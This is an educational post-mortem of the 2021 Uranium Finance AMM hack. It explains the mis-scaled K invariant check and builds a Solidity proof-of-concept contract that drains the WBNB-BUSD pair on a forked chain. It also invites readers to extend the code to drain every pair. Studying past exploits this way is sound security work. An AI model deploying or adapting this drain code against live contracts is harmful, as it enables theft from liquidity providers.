Hack Analysis: Uranium Finance, April 2021

Introduction

On April 28, 2021, Uranium Finance, an AMM deployed on BNB Chain, was the victim of a not-so-sophisticated heist. This heist resulted in the loss of over $50m worth of tokens across 26 different market pairs and was one of the most devastating attacks in DeFi at the time and remains one of the most devastating on BNB Chain.

In this article, we will be exploring the attack that took place by identifying the root cause of the attack and then creating our own proof of concept (PoC) to exploit this ourselves. We will use a fork of the blockchain at a time before the bug was fixed. Along the way, we’ll be discussing core concepts that constant product AMMs rely on.

This article was written by Hephyrius.eth, an Immunefi Whitehat Scholar.

Background

Uranium Finance is a fork of the Uniswap V2 AMM. Uniswap V2 operates using something called a constant product algorithm. Each pair within the AMM consists of two tokens, the balance of which the pair contract keeps track of.

K = XY

In the algorithm, one token balance is denoted X, and the other token balance is denoted Y, and the product of the two balances is denoted K. This algorithm ensures that tokens held by an AMM pair after a swap are greater than or equal to the number of tokens before a swap. Essentially, Uniswap V2 ensures that the value of K for a pair does not decrease during a swap event.

For this to make sense, we need to understand some theory. Theoretically, each pair of token balances should be equivalent. In other words, in an efficient market, a pair’s balances of both tokens will have the same dollar value but may have different token balance values. When a pair has values that are not equal in dollar terms, arbitragers are likely to swap via the imbalance pair, to restore equilibrium, which makes markets efficient.

In reality, pairs in the AMM apply a fee to transactions, so the practical implementation of the algorithm is a little different. In Uniswap V2, this fee is 0.3%. With adjustments, the algorithm looks more like this:

Fee = 0.997
Kbefore = XbeforeYbefore
Kafter = (FeeXafter)(FeeYafter)
Kafter >= Kbefore

This version of the algorithm ensures that the liquidity providers in the pool are earning trade fees on the tokens they have deposited, whenever a swap occurs.

Root Cause

Now that we understand the fundamental concepts behind Uniswap V2-like AMM pairs, we can practically explore the Uranium Finance fork of the AMM and figure out what went wrong.

On Ethereum, the deployed version of Uniswap V2 is one of the most battle-tested smart contracts in the history of the network, with hundreds of billions of dollars being traded via the contracts. This means that the changes Uranium Finance introduced into the code directly led to this attack.

{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), ‘UniswapV2: K’);}

Snippet 1. Uniswap V2 K Invariant Check.

In the heist, the pair contracts of Uranium did not properly enforce the K=XY algorithm, and as such, a bad actor could swap a minimal amount of one token for essentially the entire balance of the other token in the pair.

{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(16));
uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(16));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), ‘UraniumSwap: K’);}

Snippet 2. Uranium K Invariant Check.

Let’s dive a little deeper and inspect the code in snippets 1 and 2 which are from the UniswapV2 pair and Uranium pair contracts, respectively. In the original Uniswap code, we notice that a magic value of 1000 is used for mathematical operations that apply the fee to the new X and Y values after a swap, as well as in the enforcement of K. This means that all values in the K check have been scaled by an equivalent factor.

Critically, we see in Uranium’s implementation that the magic value for fee calculation is 10000 instead of the original 1000. This by itself isn’t an issue. The issue lies in the required statement that follows. The check does not apply the new magic value and instead uses the original 1000This means that the K after a swap is guaranteed to be 100 times larger than the before the swap when no token balance changes have occurred.

This also means that a bad actor can exploit this flaw and swap a minimal amount of tokens for more tokens than the algorithm would have allowed them to if implemented correctly. In this case, a bad actor can drain all liquidity in the pair contract.

Proof of Concept Heist

Now that we have an in-depth understanding of what caused the heist, we can create our own attack that exploits the flawed K check. To begin, we need two important things: an archive node for the BNB Chain and a pre-exploit block number.

For this proof of concept, I will be using an archive node from QuickNode, which is available under their free tier offering. This PoC will be forking the chain at block 6920000, which is before the attack. A repository containing a complete working proof of concept can be found here.

Our attack PoC will be a simple one that targets a single Uranium pool, instead of attacking all 26 pairs. Specifically, we will be targeting the Wrapped BNB — BUSD pair. The pair has over $10m in tokens at the block we are forking.

The attack has several stages. We’ll walk through each stage before piecing everything together:

  1. Send BNB to attack contract
  2. Wrap BNB
  3. Send some WBNB to the pair contract
  4. Trigger Swap() to drain BUSD
  5. Send some BUSD to the pair contract
  6. Trigger Swap() to drain WBNB

The Attack

pragma solidity >=0.8.0;
import “@openzeppelin/contracts/token/ERC20/IERC20.sol”;
import “@openzeppelin/contracts/access/Ownable.sol”;
import “@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol”;
import “@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol”;
import “@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol”;
import “hardhat/console.sol”;interface IWrappedNative {
function deposit() external payable;
}
contract Uranium is Ownable {
constructor() public {}
receive() external payable {}
fallback() external payable {}
address private constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address private constant busd = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
address private constant uraniumFactory = 0xA943eA143cd7E79806d670f4a7cf08F8922a454F; function wrap() internal {
IWrappedNative(wbnb).deposit{value: address(this).balance}();
console.log(“WBNB start : “, IERC20(wbnb).balanceOf(address(this))); } function startAttack() public payable {
wrap();
}}

Code Snippet 3: Start of our PoC.

The first step in our PoC is the creation of a contract that is capable of taking some BNB and wrapping it. We’ll need this Wrapped BNB for the Invariant manipulation later. In Code Snippet 3, we have a contract that does just that. The startAttack() function is a payable function, which calls an internal function that deposits any BNB that the contract holds into the WBNB contract:

function takeFunds(address token0, address token1, uint amount) internal {
IUniswapV2Factory factory = IUniswapV2Factory(uraniumFactory);
IUniswapV2Pair pair =
IUniswapV2Pair(factory.getPair(address(token1), address(token0))); IERC20(token0).transfer(address(pair), amount);
uint amountOut = (IERC20(token1).balanceOf(address(pair)) * 99) / 100; pair.swap(
pair.token0() == address(token1) ? amountOut : 0,
pair.token0() == address(token1) ? 0 : amountOut,
address(this),
new bytes(0)
);}

Code Snippet 4: Exploiting.

Once we have our attack funds, we can now focus on the actual exploit. Code Snippet 4 shows an abstract implementation of an attack. Let’s break it down step-by-step.

The function in the snippet takes three parameters: token0 is the token we are depositing into the pair, token1 is the token we are heisting and amount is the amount of token0 that we are depositing.

The first thing we need to do is find the address of the pair we are attacking. This is done by querying the Uranium Factory contract for the address of the pair. In this case, we are looking for the WBNB-BUSD pair.

Once we have the address, we can send some token0 to the pair, with the amount defined in our function call. After this, we need to figure out how much of token1 we want to take. In this PoC, we are stealing 99% of the balance of token1.

Finally, we trigger the swap() function of the pair contract, telling it exactly how many of token1 we want to be transferred to us. Since we’ve already sent some token0 to the contract, the amplification of occurs, allowing us to not violate the broken K invariant. If we don’t send any token0 to the contract, this swap() call may fail.

function startAttack() public payable {
wrap();
takeFunds(wbnb, busd, 1 ether);
takeFunds(busd, wbnb, 1 ether);
console.log(“BUSD STOLEN : “,
IERC20(busd).balanceOf(address(this)));
console.log(“WBNB STOLEN : “,
IERC20(wbnb).balanceOf(address(this)));}

Code Snippet 5: Taking Both Tokens

After our first takeFunds call, our contract will have $8m in BUSD, which we can use to take WBNB from the same pair. We do this by calling takeFunds again, but this time we are using BUSD as token0 and WBNB as token1 and $1 of BUSD as the amount.

After this second call, our attack contract will have another $8m in BNB, amounting to a heist of over $16m in illicit profit. Tying it all together in Snippet 6, we have a viable attack that allows us to drain a lot more tokens than we should be entitled to, allowing us to essentially drain liquidity in any uranium pool. All this in under 50 lines of Solidity.

Conclusion

The Uranium Finance exploit shows us just how valuable a single check can be within a smart contract, and by extension, how devastating a single line of code can be if implemented incorrectly. As a smart contract security researcher, it’s important to be able to spot inconsistencies in smart contracts, in order to find potential attack vectors, such as the K invariant failure we just exploited.

We walked through a simple attack PoC on Uranium Finance. We propose an exercise to the reader to expand this PoC so that all liquidity across all pairs is taken, rather than just in a single pair. This will test your ability to interact with DeFi primitives, as well as your ability to bend the chain to your will.

Code Snippet 6: The Entire Attack